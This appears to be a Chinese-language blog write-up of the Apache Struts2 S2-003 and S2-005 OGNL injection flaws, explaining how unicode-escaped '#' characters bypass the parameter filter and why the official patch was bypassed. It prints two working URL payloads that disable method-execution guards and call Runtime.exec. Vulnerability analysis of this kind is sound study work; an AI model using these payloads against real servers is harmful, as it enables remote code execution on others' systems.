[javaweb]strut2-003&005-编程思维

strut2-003&005

漏洞描述

s2-005 漏洞的起源源于 S2-003(受影响版本: 低于 Struts 2.0.12), struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为 java 代码)。OGNL 表达式通过#来访问 struts 的对象,struts 框架通过过滤#字符防止安全问题,然而通过 unicode 编码(\u0023)或 8 进制(\43)即绕过了安全限制,对于 S2-003 漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用 OGNL 表达式将这 2 个选项打开

影响版本

Struts 2.0.0 - Struts 2.1.8.1

漏洞分析

目标payload产生原因XWork 会将 GET 参数的键和值利用 OGNL 表达式解析成 Java 语句,如:user.address.city=Bishkek&user['favoriteDrink']=kumys 会被转化成

action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

但过滤栈对其传入的参数进行了过滤操作。

  • 直接定位到parametersInterceptor#doFilter()

  • 在对valueStack进行存储前,会进行一个acceptableName()过滤操作

  • 其中对4个字符进行了过滤

所以按道理来说,这个时候是无法传入有效payload的,但后续在进行setValue操作时,却进行了二次编码操作,从而导致s2-003

  • 找到valueStack实现类!

  • 定位到javaCharStream,发现默认会进行unicode解码,所以就可以构造payload了(由于是静态分析,所以很多中间过程就省略了)

  • payload构造

    login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc.exe\')')(bla)(bla)
    

漏洞修复

  1. 删除该方法对unicode的编码支持。(有点不切实际)
  2. 增加过滤,例如对于\u的字符予以处理
  3. 禁止执行关键函数(,不过有点难,java不像php,java里的重写太多了)

官方修复代码主要引入控制静态方法调用开关 allowStaticMethodAccess 变量,以及用于控制成员变量的访问权限的 SecurityMemberAccess 类对象。然而通过 OGNL 表达式,我们完全可以控制这两个变量的值,这也导致 Struts2-003 补丁可以被绕过,即后来的 Struts2-005 漏洞。

struts2-005 payload

login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc.exe\')')(bla)(bla)

官方在维护的时候,一般只会添加东西,而不会去除代码,以免部分服务收到影响

版权声明:本文版权归作者所有,遵循 CC 4.0 BY-SA 许可协议, 转载请注明原文链接
https://www.cnblogs.com/Aurora-M/p/15810808.html